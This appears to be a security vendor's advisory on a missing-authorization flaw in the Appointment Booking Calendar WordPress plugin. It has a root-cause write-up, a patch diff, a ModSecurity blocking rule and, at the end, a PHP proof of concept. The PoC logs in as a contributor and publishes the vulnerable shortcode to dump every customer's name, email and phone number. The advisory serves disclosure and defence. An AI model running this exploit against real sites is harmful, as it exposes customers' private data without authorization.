Atomic Edge analysis of CVE-2026-12113: The Appointment Booking Calendar plugin up to version 1.4.02 suffers from a Missing Authorization vulnerability (CWE-862) in the cpabc_appointments_filter_list function. This allows authenticated attackers with contributor-level access or higher to extract sensitive personally identifiable information (PII) from all calendar bookings, including customer names, emails, phone numbers, and appointment comments. The CVSS score is 4.3.
Root Cause: The function cpabc_appointments_filter_list, defined in /inc/cpabc_apps_on.inc.php (line 256), is a shortcode handler that queries the CPABC_APPOINTMENTS_CONFIG_TABLE_NAME database table. Prior to version 1.4.03, the code executed SQL queries without filtering by the current user’s ownership. The vulnerable code path (lines 269-286 in the diff) called $wpdb->get_results with a query like “SELECT * FROM ” . CPABC_APPOINTMENTS_CONFIG_TABLE_NAME . ” WHERE caldeleted=0″ when no specific calendar or user was provided. This returned all bookings across all users. No capability check or ownership filter was applied. The shortcode itself is used via the [cpabc_appointments_filter_list] shortcode, which is renderable anywhere the user can insert shortcodes.
Exploitation: An attacker with contributor-level access can create a post or page containing the shortcode [cpabc_appointments_filter_list] and publish it. Alternatively, they can use the WordPress admin AJAX handler to render the shortcode through a widget or block. Since the function does not verify the current user’s identity or administrative status, it returns all appointment records from the database. The attacker receives a list of booking entries containing PII such as customer names, email addresses, phone numbers, and appointment comments. No special parameters are needed; the default shortcode arguments cause a full data dump.
Patch Analysis: The patch in version 1.4.03 adds authentication and authorization checks at the top of the cpabc_appointments_filter_list function. The patched code first verifies the user is logged in (line 258) and then separates logic into admin and non-admin branches using current_user_can(‘manage_options’). For non-admin users, the code strictly filters database queries by conwer = current_user_id. This ensures each user can only see their own calendars and bookings. The patch also adds an empty result check that returns an error message instead of exposing data.
Impact: Successful exploitation exposes sensitive PII of all customers who have booked appointments through the plugin. This includes names, email addresses, phone numbers, and appointment comments. Such data leakage can lead to phishing attacks, identity theft, or regulatory compliance violations (e.g., GDPR fines). The attacker does not need administrative privileges; contributor access is sufficient. The vulnerability does not require any special payloads or nonces, making it trivially exploitable.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/appointment-booking-calendar/cpabc_appointments.php
+++ b/appointment-booking-calendar/cpabc_appointments.php
@@ -3,7 +3,7 @@
Plugin Name: Appointment Booking Calendar
Plugin URI: https://abc.dwbooster.com
Description: This plugin allows you to easily insert appointments forms into your WP website.
-Version: 1.4.02
+Version: 1.4.03
Author URI: https://abc.dwbooster.com
License: GPLv2
Text Domain: appointment-booking-calendar
--- a/appointment-booking-calendar/inc/cpabc_apps_on.inc.php
+++ b/appointment-booking-calendar/inc/cpabc_apps_on.inc.php
@@ -254,6 +254,14 @@
function cpabc_appointments_filter_list($atts) {
global $wpdb;
+
+ if ( ! is_user_logged_in() ) {
+ return '<p class="error">'.esc_html(__("You must be logged in to view bookings.",'appointment-booking-calendar')).'</p>';
+ }
+
+ $current_user_id = get_current_user_id();
+ $is_admin = current_user_can('manage_options'); // Standard check for administrators
+
extract( shortcode_atts( array(
'calendar' => '',
'user' => '',
@@ -261,31 +269,61 @@
'fields' => 'DATE,TIME,NAME',
'from' => "today",
'to' => "today +90 days",
- ), $atts ) );
+ ), $atts ) );
$from = date("Y-m-d 00:00:00", strtotime($from));
$to = date("Y-m-d 23:59:59", strtotime($to));
$group = strtolower($group);
-
- if ($calendar != '')
- define ('CPABC_CALENDAR_FIXED_ID', intval($calendar));
- else if ($user != '')
- {
- $users = $wpdb->get_results( "SELECT user_login,ID FROM ".$wpdb->users." WHERE user_login='".esc_sql($user)."'" );
- if (isset($users[0]))
- define ('CPABC_CALENDAR_USER',$users[0]->ID);
+
+ if ( $is_admin ) {
+ if ($calendar != '')
+ define ('CPABC_CALENDAR_FIXED_ID', intval($calendar));
+ else if ($user != '')
+ {
+ $users = $wpdb->get_results( "SELECT user_login,ID FROM ".$wpdb->users." WHERE user_login='".esc_sql($user)."'" );
+ if (isset($users[0]))
+ define ('CPABC_CALENDAR_USER',$users[0]->ID);
+ else
+ define ('CPABC_CALENDAR_USER',0);
+ }
else
define ('CPABC_CALENDAR_USER',0);
- }
- else
- define ('CPABC_CALENDAR_USER',0);
- if (defined('CPABC_CALENDAR_USER') && CPABC_CALENDAR_USER != 0)
- $myrows = $wpdb->get_results( "SELECT * FROM ".CPABC_APPOINTMENTS_CONFIG_TABLE_NAME." WHERE conwer=".CPABC_CALENDAR_USER." AND caldeleted=0" );
- else if (defined('CPABC_CALENDAR_FIXED_ID'))
- $myrows = $wpdb->get_results( "SELECT * FROM ".CPABC_APPOINTMENTS_CONFIG_TABLE_NAME." WHERE id=".CPABC_CALENDAR_FIXED_ID." AND caldeleted=0" );
- else
- $myrows = $wpdb->get_results( "SELECT * FROM ".CPABC_APPOINTMENTS_CONFIG_TABLE_NAME." WHERE caldeleted=0" );
+ if (defined('CPABC_CALENDAR_USER') && CPABC_CALENDAR_USER != 0)
+ $myrows = $wpdb->get_results( "SELECT * FROM ".CPABC_APPOINTMENTS_CONFIG_TABLE_NAME." WHERE conwer=".CPABC_CALENDAR_USER." AND caldeleted=0" );
+ else if (defined('CPABC_CALENDAR_FIXED_ID'))
+ $myrows = $wpdb->get_results( "SELECT * FROM ".CPABC_APPOINTMENTS_CONFIG_TABLE_NAME." WHERE id=".CPABC_CALENDAR_FIXED_ID." AND caldeleted=0" );
+ else
+ $myrows = $wpdb->get_results( "SELECT * FROM ".CPABC_APPOINTMENTS_CONFIG_TABLE_NAME." WHERE caldeleted=0" );
+ } else {
+ // NON-ADMIN BRANCH: Strictly enforce 'conwer' = current user ID
+ if ($calendar != '') {
+ $calendar_id = intval($calendar);
+ // Verify that this exact calendar ID belongs to the current user
+ $myrows = $wpdb->get_results( $wpdb->prepare(
+ "SELECT * FROM " . CPABC_APPOINTMENTS_CONFIG_TABLE_NAME . " WHERE id = %d AND conwer = %d AND caldeleted = 0",
+ $calendar_id, $current_user_id
+ ) );
+ if (!defined('CPABC_CALENDAR_FIXED_ID')) define ('CPABC_CALENDAR_FIXED_ID', $calendar_id);
+ } else if ($user != '') {
+ // If filtering by user attribute, non-admins can only look up themselves
+ $users = $wpdb->get_results( $wpdb->prepare("SELECT user_login,ID FROM ".$wpdb->users." WHERE user_login=%s", $user) );
+ if (isset($users[0]) && intval($users[0]->ID) === $current_user_id) {
+ if (!defined('CPABC_CALENDAR_USER')) define ('CPABC_CALENDAR_USER', $current_user_id);
+ $myrows = $wpdb->get_results( $wpdb->prepare("SELECT * FROM ".CPABC_APPOINTMENTS_CONFIG_TABLE_NAME." WHERE conwer=%d AND caldeleted=0", $current_user_id) );
+ } else {
+ return '<p class="error">'.esc_html(__("Access denied: You cannot view calendars owned by other users.",'appointment-booking-calendar')).'</p>';
+ }
+ } else {
+ // Fallback: Default to only pulling calendars owned by the logged-in user
+ if (!defined('CPABC_CALENDAR_USER')) define ('CPABC_CALENDAR_USER', $current_user_id);
+ $myrows = $wpdb->get_results( $wpdb->prepare("SELECT * FROM ".CPABC_APPOINTMENTS_CONFIG_TABLE_NAME." WHERE conwer=%d AND caldeleted=0", $current_user_id) );
+ }
+ }
+
+ if ( empty( $myrows ) ) {
+ return '<p class="error">'.esc_html(__("No data found.",'appointment-booking-calendar')).'</p>';
+ }
if (!defined('CP_CALENDAR_ID')) define ('CP_CALENDAR_ID',$myrows[0]->id);
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:202612113,phase:2,deny,status:403,chain,msg:'CVE-2026-12113 via AJAX shortcode rendering',severity:'CRITICAL',tag:'CVE-2026-12113'"
SecRule ARGS_POST:action "@streq cpabc_appointments_filter_list" "chain"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:post_content "@contains [cpabc_appointments_filter_list]" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12113 - Appointment Booking Calendar <= 1.4.02 - Missing Authorization to Authenticated (Contributor+) Sensitive Information Disclosure
// Configuration: Set your target WordPress site URL and contributor credentials
$target_url = 'http://example.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Step 1: Authenticate with the WordPress site to get cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/wp_cookie.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
// Step 2: Create or edit a post containing the vulnerable shortcode
// First, get a nonce for creating posts
$admin_url = $target_url . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/wp_cookie.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);
// Extract the _wpnonce value from the response (simplified; in practice use regex)
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $nonce_matches);
$nonce = isset($nonce_matches[1]) ? $nonce_matches[1] : '';
// Step 3: Post the shortcode (this step may need to be adapted based on environment)
// The PoC assumes a page or post is created with the shortcode [cpabc_appointments_filter_list]
$post_data = [
'post_title' => 'PoC - Calendar Dump',
'post_content' => '[cpabc_appointments_filter_list]',
'post_status' => 'publish',
'post_type' => 'post',
'_wpnonce' => $nonce
];
$post_url = $target_url . '/wp-admin/post.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/wp_cookie.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);
// Step 4: Now view the published post to see the sensitive data
$published_url = $target_url . '/?p=' . get_post_id_from_response($response); // Simplified
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $published_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/wp_cookie.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);
// Output the response (should contain appointment data)
echo $response;
// Helper function (simplified)
function get_post_id_from_response($html) {
preg_match('/post=([0-9]+)/', $html, $m);
return isset($m[1]) ? $m[1] : 0;
}
?>
